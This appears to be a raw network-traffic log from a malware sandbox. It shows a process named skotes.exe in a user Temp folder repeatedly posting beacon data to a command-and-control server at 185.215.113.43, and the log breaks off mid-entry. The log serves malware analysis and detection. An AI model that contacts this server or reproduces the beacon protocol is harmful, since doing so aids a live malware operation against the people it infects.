Nov 12, 2024 02:17:09.029449940 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:17:09.939618111 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:17:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	50128	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:17:11.461493015 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:17:12.366220951 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:17:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	50129	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:17:13.992954969 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:17:14.893577099 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:17:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	50130	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:17:16.419346094 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:17:17.698271990 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:17:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	50131	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:17:19.337390900 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:17:20.256474018 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:17:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	50132	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:17:21.773927927 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:17:22.695482969 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:17:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	50133	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:17:24.325529099 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:17:25.249846935 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:17:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	50134	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:17:26.780076981 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:17:27.720357895 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:17:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	50135	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:17:29.353096962 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:17:30.263298988 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:17:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	50136	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:17:31.789671898 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:17:32.695122004 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:17:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	50137	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:17:34.320336103 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:17:35.233563900 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:17:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	50138	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:17:36.761352062 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:17:37.664031982 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:17:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	50139	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:17:39.289541006 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:17:40.199959993 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:17:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	50140	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:17:41.711025953 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:17:42.633179903 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:17:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	50141	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:17:44.273133993 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:17:45.200699091 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:17:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	50142	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:17:46.715126038 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:17:47.647278070 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:17:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	50143	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:17:49.273430109 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:17:50.209853888 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:17:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	50144	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:17:51.726933002 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:17:52.651267052 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:17:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	50146	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:17:54.291255951 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:17:55.227952957 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:17:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	50147	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:17:56.747347116 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:17:57.669656992 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:17:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	50148	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:17:59.305068970 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:18:00.212281942 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:18:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	50149	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:18:01.726953983 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:18:02.664628983 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:18:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	50150	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:18:04.308845043 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:18:05.233036041 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:18:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	50151	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:18:06.757031918 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: 